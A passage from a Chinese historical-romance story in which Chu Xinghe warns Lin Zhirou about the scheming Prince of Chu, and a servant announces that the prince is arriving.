楚星河低头看着她,眼中闪过一抹温柔。但很快,这抹温柔就被担忧取代:“楚王此人城府极深,你千万不要掉以轻心。” “我知道。”林芷柔点点头,“不过,我倒是很好奇,他究竟想干什么。” “无非是想拉拢你。”楚星河的声音带着几分冷意,“以他的性格,必定会用尽手段。” “那就让他来吧。”林芷柔不以为意,“我倒要看看,他能玩出什么花样。” 楚星河看着她这副模样,忍不住笑了:“你啊,就是喜欢玩火。” “那不是有你在吗?”林芷柔眨眨眼,“再说了,我也想看看,这位楚王殿下,到底有多大的本事。” 楚星河正要说什么,门外突然传来急促的脚步声。 “主子!”是楚雨的声音。 楚星河和林芷柔对视一眼,都从对方眼中看到了一丝凝重。 “进来。”楚星河沉声道。 楚雨推门而入,脸上带着几分急色:“主子,楚王已经到了城中,正在往这边来。” “这么快?”林芷柔挑眉,“看来他是等不及了。” 楚星河眸光一冷:“他这是想打我们一个措手不及。” “那就让他来吧。”林芷柔站起身,整理了一下衣裳,“正好,我也想会会这位楚王殿下。” 楚星河心中既担忧又无奈。他的柔柔,永远都是这样,越是危险的事情,越要往前冲。 “楚雨,”他开口道,“去准备一下,迎接楚王。” “是。”楚雨领命而去。